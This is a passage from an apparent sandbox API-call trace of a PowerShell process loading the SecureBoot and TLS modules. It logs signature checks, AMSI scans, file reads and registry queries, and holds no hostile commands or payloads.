pdecIn=0x5375d1c, pdblOut=0x843d028 | out: pdblOut=0x843d028) returned 0x0 [0116.852] VarR8FromDec (in: pdecIn=0x5376d20, pdblOut=0x843d028 | out: pdblOut=0x843d028) returned 0x0 [0116.852] VarR8FromDec (in: pdecIn=0x5377260, pdblOut=0x843d060 | out: pdblOut=0x843d060) returned 0x0 [0116.853] VarR8FromDec (in: pdecIn=0x5378bdc, pdblOut=0x843d028 | out: pdblOut=0x843d028) returned 0x0 [0116.853] VarR8FromDec (in: pdecIn=0x537a170, pdblOut=0x843d028 | out: pdblOut=0x843d028) returned 0x0 [0116.853] VarR8FromDec (in: pdecIn=0x537a7a4, pdblOut=0x843d028 | out: pdblOut=0x843d028) returned 0x0 [0116.853] VarR8FromDec (in: pdecIn=0x537b7b0, pdblOut=0x843d028 | out: pdblOut=0x843d028) returned 0x0 [0116.853] VarR8FromDec (in: pdecIn=0x537bcf0, pdblOut=0x843d060 | out: pdblOut=0x843d060) returned 0x0 [0116.854] VarR8FromDec (in: pdecIn=0x537d670, pdblOut=0x843d028 | out: pdblOut=0x843d028) returned 0x0 [0116.854] VarR8FromDec (in: pdecIn=0x537ec08, pdblOut=0x843d028 | out: pdblOut=0x843d028) returned 0x0 [0116.854] VarR8FromDec (in: pdecIn=0x537f23c, pdblOut=0x843d028 | out: pdblOut=0x843d028) returned 0x0 [0116.854] VarR8FromDec (in: pdecIn=0x5380244, pdblOut=0x843d028 | out: pdblOut=0x843d028) returned 0x0 [0116.854] VarR8FromDec (in: pdecIn=0x5380784, pdblOut=0x843d060 | out: pdblOut=0x843d060) returned 0x0 [0116.855] WTGetSignatureInfo () returned 0x0 [0116.936] CertDuplicateCertificateContext (pCertContext=0x32f4460) returned 0x32f4460 [0116.936] WinVerifyTrust () returned 0x0 [0116.936] CertFreeCertificateContext (pCertContext=0x32f4460) returned 1 [0116.937] WTGetSignatureInfo () returned 0x0 [0116.961] CertDuplicateCertificateContext (pCertContext=0x32f4500) returned 0x32f4500 [0116.961] WinVerifyTrust () returned 0x0 [0116.962] CertFreeCertificateContext (pCertContext=0x32f4500) returned 1 [0117.005] WTGetSignatureInfo () returned 0x0 [0117.099] CertDuplicateCertificateContext (pCertContext=0x32d6b78) returned 0x32d6b78 [0117.099] WinVerifyTrust () returned 0x0 [0117.100] CertFreeCertificateContext (pCertContext=0x32d6b78) returned 1 [0117.101] WTGetSignatureInfo () returned 0x0 [0117.124] CertDuplicateCertificateContext (pCertContext=0x32d6538) returned 0x32d6538 [0117.124] WinVerifyTrust () returned 0x0 [0117.125] CertFreeCertificateContext (pCertContext=0x32d6538) returned 1 [0117.126] WTGetSignatureInfo () returned 0x0 [0117.259] CertDuplicateCertificateContext (pCertContext=0x32d6588) returned 0x32d6588 [0117.259] WinVerifyTrust () returned 0x0 [0117.260] CertFreeCertificateContext (pCertContext=0x32d6588) returned 1 [0117.260] VarR8FromDec (in: pdecIn=0x53c0afc, pdblOut=0x843d028 | out: pdblOut=0x843d028) returned 0x0 [0117.261] VarR8FromDec (in: pdecIn=0x53c0fbc, pdblOut=0x843d028 | out: pdblOut=0x843d028) returned 0x0 [0117.261] VarR8FromDec (in: pdecIn=0x53c146c, pdblOut=0x843d028 | out: pdblOut=0x843d028) returned 0x0 [0117.261] VarR8FromDec (in: pdecIn=0x53c2ef0, pdblOut=0x843d028 | out: pdblOut=0x843d028) returned 0x0 [0117.261] VarR8FromDec (in: pdecIn=0x53c33c0, pdblOut=0x843d028 | out: pdblOut=0x843d028) returned 0x0 [0117.261] VarR8FromDec (in: pdecIn=0x53c3870, pdblOut=0x843d028 | out: pdblOut=0x843d028) returned 0x0 [0117.261] VarR8FromDec (in: pdecIn=0x53c4c04, pdblOut=0x843d028 | out: pdblOut=0x843d028) returned 0x0 [0117.262] WTGetSignatureInfo () returned 0x0 [0117.368] CertDuplicateCertificateContext (pCertContext=0x737e0c0) returned 0x737e0c0 [0117.368] WinVerifyTrust () returned 0x0 [0117.369] CertFreeCertificateContext (pCertContext=0x737e0c0) returned 1 [0117.370] WTGetSignatureInfo () returned 0x0 [0117.392] CertDuplicateCertificateContext (pCertContext=0x737e390) returned 0x737e390 [0117.392] WinVerifyTrust () returned 0x0 [0117.392] CertFreeCertificateContext (pCertContext=0x737e390) returned 1 [0117.393] VarR8FromDec (in: pdecIn=0x53df88c, pdblOut=0x843d028 | out: pdblOut=0x843d028) returned 0x0 [0117.393] VarR8FromDec (in: pdecIn=0x53dfd14, pdblOut=0x843d028 | out: pdblOut=0x843d028) returned 0x0 [0117.393] VarR8FromDec (in: pdecIn=0x53e01cc, pdblOut=0x843d028 | out: pdblOut=0x843d028) returned 0x0 [0117.393] VarR8FromDec (in: pdecIn=0x53e1464, pdblOut=0x843d028 | out: pdblOut=0x843d028) returned 0x0 [0117.491] WTGetSignatureInfo () returned 0x0 [0117.514] CertDuplicateCertificateContext (pCertContext=0x737e4d0) returned 0x737e4d0 [0117.515] WinVerifyTrust () returned 0x0 [0117.515] CertFreeCertificateContext (pCertContext=0x737e4d0) returned 1 [0117.621] AmsiCloseSession () returned 0x315cd38 [0117.621] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0xa30 [0117.753] WTGetSignatureInfo () returned 0x0 [0117.849] CertDuplicateCertificateContext (pCertContext=0x330c910) returned 0x330c910 [0117.850] WinVerifyTrust () returned 0x0 [0117.850] CertFreeCertificateContext (pCertContext=0x330c910) returned 1 [0117.850] AmsiOpenSession () returned 0x0 [0117.850] AmsiScanString () returned 0x80070015 [0117.854] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SecureBoot\\en-US\\SecureBoot.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\secureboot\\en-us\\secureboot.psd1")) returned 0xffffffff [0117.860] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SecureBoot\\Microsoft.SecureBoot.Commands" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\secureboot\\microsoft.secureboot.commands")) returned 0xffffffff [0117.866] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SecureBoot\\Microsoft.SecureBoot.Commands" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\secureboot\\microsoft.secureboot.commands")) returned 0xffffffff [0117.872] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SecureBoot\\Microsoft.SecureBoot.Commands" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\secureboot\\microsoft.secureboot.commands")) returned 0xffffffff [0117.935] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SecureBoot\\Microsoft.SecureBoot.Commands" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\secureboot\\microsoft.secureboot.commands")) returned 0xffffffff [0118.010] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SecureBoot\\Microsoft.SecureBoot.Commands", nBufferLength=0x105, lpBuffer=0x843b5ac, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SecureBoot\\Microsoft.SecureBoot.Commands", lpFilePart=0x0) returned 0x5b [0118.010] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SecureBoot\\Microsoft.SecureBoot.Commands", nBufferLength=0x105, lpBuffer=0x843b538, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SecureBoot\\Microsoft.SecureBoot.Commands", lpFilePart=0x0) returned 0x5b [0118.188] CoGetContextToken (in: pToken=0x843ad10 | out: pToken=0x843ad10) returned 0x0 [0118.188] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x1, cHandles=0x1, pHandles=0x843acf8*=0x7d4, lpdwindex=0x843abac | out: lpdwindex=0x843abac) returned 0x80010115 [0118.188] CoGetContextToken (in: pToken=0x8439de4 | out: pToken=0x8439de4) returned 0x0 [0118.188] CoGetContextToken (in: pToken=0x8439dc4 | out: pToken=0x8439dc4) returned 0x0 [0118.188] CoGetContextToken (in: pToken=0x8439d48 | out: pToken=0x8439d48) returned 0x0 [0118.188] CoGetContextToken (in: pToken=0x8439d48 | out: pToken=0x8439d48) returned 0x0 [0118.188] CoGetContextToken (in: pToken=0x8439d48 | out: pToken=0x8439d48) returned 0x0 [0118.188] CoGetContextToken (in: pToken=0x8439d48 | out: pToken=0x8439d48) returned 0x0 [0118.208] CoGetContextToken (in: pToken=0x843b170 | out: pToken=0x843b170) returned 0x0 [0118.208] CoGetContextToken (in: pToken=0x843b750 | out: pToken=0x843b750) returned 0x0 [0118.208] CoGetContextToken (in: pToken=0x843b6b0 | out: pToken=0x843b6b0) returned 0x0 [0118.209] CoGetContextToken (in: pToken=0x843b7d8 | out: pToken=0x843b7d8) returned 0x0 [0118.220] CoGetContextToken (in: pToken=0x843b168 | out: pToken=0x843b168) returned 0x0 [0118.220] CoGetContextToken (in: pToken=0x843b748 | out: pToken=0x843b748) returned 0x0 [0118.220] CoGetContextToken (in: pToken=0x843b6a8 | out: pToken=0x843b6a8) returned 0x0 [0118.220] CoGetContextToken (in: pToken=0x843ad58 | out: pToken=0x843ad58) returned 0x0 [0118.220] CoGetContextToken (in: pToken=0x843b160 | out: pToken=0x843b160) returned 0x0 [0118.220] CoGetContextToken (in: pToken=0x843b740 | out: pToken=0x843b740) returned 0x0 [0118.220] CoGetContextToken (in: pToken=0x843b6a0 | out: pToken=0x843b6a0) returned 0x0 [0118.224] CoGetContextToken (in: pToken=0x843b160 | out: pToken=0x843b160) returned 0x0 [0118.224] CoGetContextToken (in: pToken=0x843b740 | out: pToken=0x843b740) returned 0x0 [0118.224] CoGetContextToken (in: pToken=0x843b6a0 | out: pToken=0x843b6a0) returned 0x0 [0118.302] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_32\\Microsoft.SecureBoot.Commands\\v4.0_10.0.0.0__31bf3856ad364e35\\Microsoft.SecureBoot.Commands.dll", nBufferLength=0x105, lpBuffer=0x843b554, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_32\\Microsoft.SecureBoot.Commands\\v4.0_10.0.0.0__31bf3856ad364e35\\Microsoft.SecureBoot.Commands.dll", lpFilePart=0x0) returned 0x88 [0118.303] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_32\\Microsoft.SecureBoot.Commands\\v4.0_10.0.0.0__31bf3856ad364e35\\Microsoft.SecureBoot.Commands.dll", nBufferLength=0x105, lpBuffer=0x843b444, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_32\\Microsoft.SecureBoot.Commands\\v4.0_10.0.0.0__31bf3856ad364e35\\Microsoft.SecureBoot.Commands.dll", lpFilePart=0x0) returned 0x88 [0118.348] AmsiCloseSession () returned 0x315cd38 [0118.348] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0xa38 [0118.348] SetThreadUILanguage (LangId=0x0) returned 0x2c70409 [0118.367] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e3f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e3f8*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x38, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0118.367] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e364*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e364*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x36, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0118.367] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e3e8*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x38, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e3e8*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x38, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0118.372] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS\\TLS.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\tls\\tls.psd1")) returned 0x20 [0118.372] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS\\TLS.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0118.372] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS\\TLS.psd1", nBufferLength=0x40, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS\\TLS.psd1", lpFilePart=0x0) returned 0x3f [0118.372] CoTaskMemAlloc (cb=0x20c) returned 0x73bf4c8 [0118.372] GetSystemDirectoryW (in: lpBuffer=0x73bf4c8, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0118.372] CoTaskMemFree (pv=0x73bf4c8) [0118.372] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0118.372] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0118.372] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e010) returned 1 [0118.372] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x843e08c | out: lpFileInformation=0x843e08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1c22f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fa1c22f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fa1c22f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe840)) returned 1 [0118.372] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e00c) returned 1 [0118.372] GetSystemInfo (in: lpSystemInfo=0x843e0c0 | out: lpSystemInfo=0x843e0c0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x4501)) [0118.373] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x843e050 | out: phkResult=0x843e050*=0xa2c) returned 0x0 [0118.373] RegQueryValueExW (in: hKey=0xa2c, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x843e06c, lpData=0x0, lpcbData=0x843e068*=0x0 | out: lpType=0x843e06c*=0x0, lpData=0x0, lpcbData=0x843e068*=0x0) returned 0x2 [0118.373] RegCloseKey (hKey=0xa2c) returned 0x0 [0118.373] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS\\TLS.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0118.373] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS\\TLS.psd1", nBufferLength=0x40, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS\\TLS.psd1", lpFilePart=0x0) returned 0x3f [0118.373] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843dfc8) returned 1 [0118.373] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS\\TLS.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\tls\\tls.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xa2c [0118.373] GetFileType (hFile=0xa2c) returned 0x1 [0118.373] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843dfc4) returned 1 [0118.373] GetFileType (hFile=0xa2c) returned 0x1 [0118.373] SetFilePointer (in: hFile=0xa2c, lDistanceToMove=0, lpDistanceToMoveHigh=0x843e004*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843e004*=0) returned 0x0 [0118.373] ReadFile (in: hFile=0xa2c, lpBuffer=0x5323c38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843e030, lpOverlapped=0x0 | out: lpBuffer=0x5323c38*, lpNumberOfBytesRead=0x843e030*=0x2e7, lpOverlapped=0x0) returned 1 [0118.374] SetFilePointer (in: hFile=0xa2c, lDistanceToMove=0, lpDistanceToMoveHigh=0x843e004*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843e004*=0) returned 0x2e7 [0118.374] ReadFile (in: hFile=0xa2c, lpBuffer=0x5323c38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843e030, lpOverlapped=0x0 | out: lpBuffer=0x5323c38*, lpNumberOfBytesRead=0x843e030*=0x0, lpOverlapped=0x0) returned 1 [0118.374] CoTaskMemAlloc (cb=0x20c) returned 0x73c1520 [0118.374] GetSystemDirectoryW (in: lpBuffer=0x73c1520, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0118.374] CoTaskMemFree (pv=0x73c1520) [0118.374] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0118.374] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0118.374] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843df64) returned 1 [0118.374] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x843dfe0 | out: lpFileInformation=0x843dfe0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1c22f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fa1c22f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fa1c22f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe840)) returned 1 [0118.374] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843df60) returned 1 [0118.374] GetSystemInfo (in: lpSystemInfo=0x843e014 | out: lpSystemInfo=0x843e014*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x4501)) [0118.374] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x843dfa4 | out: phkResult=0x843dfa4*=0x9d4) returned 0x0 [0118.374] RegQueryValueExW (in: hKey=0x9d4, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x843dfc0, lpData=0x0, lpcbData=0x843dfbc*=0x0 | out: lpType=0x843dfc0*=0x0, lpData=0x0, lpcbData=0x843dfbc*=0x0) returned 0x2 [0118.374] RegCloseKey (hKey=0x9d4) returned 0x0 [0118.374] CloseHandle (hObject=0xa2c) returned 1 [0118.375] CoCreateGuid (in: pguid=0x843e094 | out: pguid=0x843e094*(Data1=0xa3c1533e, Data2=0xe54d, Data3=0x48bb, Data4=([0]=0x84, [1]=0x56, [2]=0x6c, [3]=0x8d, [4]=0x65, [5]=0x71, [6]=0x17, [7]=0x0))) returned 0x0 [0118.375] QueryPerformanceCounter (in: lpPerformanceCount=0x843ddf4 | out: lpPerformanceCount=0x843ddf4*=80050692195) returned 1 [0118.375] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS\\TLS.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0118.375] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS\\TLS.psd1", nBufferLength=0x40, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS\\TLS.psd1", lpFilePart=0x0) returned 0x3f [0118.375] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843dd28) returned 1 [0118.375] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS\\TLS.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\tls\\tls.psd1"), fInfoLevelId=0x0, lpFileInformation=0x843dda4 | out: lpFileInformation=0x843dda4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cfa3547, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6cfa3547, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6cfa3547, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2e7)) returned 1 [0118.375] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843dd24) returned 1 [0118.375] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS\\TLS.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0118.376] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS\\TLS.psd1", nBufferLength=0x40, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS\\TLS.psd1", lpFilePart=0x0) returned 0x3f [0118.376] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS\\TLS.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0118.376] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS\\TLS.psd1", nBufferLength=0x40, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS\\TLS.psd1", lpFilePart=0x0) returned 0x3f [0118.376] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843dc9c) returned 1 [0118.376] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS\\TLS.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\tls\\tls.psd1"), fInfoLevelId=0x0, lpFileInformation=0x843dd18 | out: lpFileInformation=0x843dd18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cfa3547, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6cfa3547, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6cfa3547, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2e7)) returned 1 [0118.376] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843dc98) returned 1 [0118.376] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS\\TLS.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0118.376] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS\\TLS.psd1", nBufferLength=0x40, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS\\TLS.psd1", lpFilePart=0x0) returned 0x3f [0118.376] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843dc70) returned 1 [0118.376] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS\\TLS.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\tls\\tls.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xa2c [0118.376] GetFileType (hFile=0xa2c) returned 0x1 [0118.376] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843dc6c) returned 1 [0118.376] GetFileType (hFile=0xa2c) returned 0x1 [0118.376] WTGetSignatureInfo () returned 0x0 [0118.401] CertDuplicateCertificateContext (pCertContext=0x737b888) returned 0x737b888 [0118.401] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x843dcd4 | out: phkResult=0x843dcd4*=0x990) returned 0x0 [0118.401] RegQueryValueExW (in: hKey=0x990, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843dcf4, lpData=0x0, lpcbData=0x843dcf0*=0x0 | out: lpType=0x843dcf4*=0x1, lpData=0x0, lpcbData=0x843dcf0*=0x56) returned 0x0 [0118.401] RegQueryValueExW (in: hKey=0x990, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843dcf4, lpData=0x5329c6c, lpcbData=0x843dcf0*=0x56 | out: lpType=0x843dcf4*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x843dcf0*=0x56) returned 0x0 [0118.401] RegCloseKey (hKey=0x990) returned 0x0 [0118.401] CoTaskMemAlloc (cb=0x10) returned 0x7444720 [0118.401] CoTaskMemAlloc (cb=0x30) returned 0x740d4e8 [0118.401] WinVerifyTrust () returned 0x0 [0118.401] CoTaskMemFree (pv=0x740d4e8) [0118.401] CoTaskMemFree (pv=0x7444720) [0118.401] CertFreeCertificateContext (pCertContext=0x737b888) returned 1 [0118.402] CloseHandle (hObject=0xa2c) returned 1 [0118.402] AmsiOpenSession () returned 0x0 [0118.402] AmsiScanString () returned 0x80070015 [0118.434] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS\\en-US\\TLS.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\tls\\en-us\\tls.psd1")) returned 0xffffffff [0118.435] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS\\en\\TLS.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\tls\\en\\tls.psd1")) returned 0xffffffff [0118.436] GetFileAttributesW 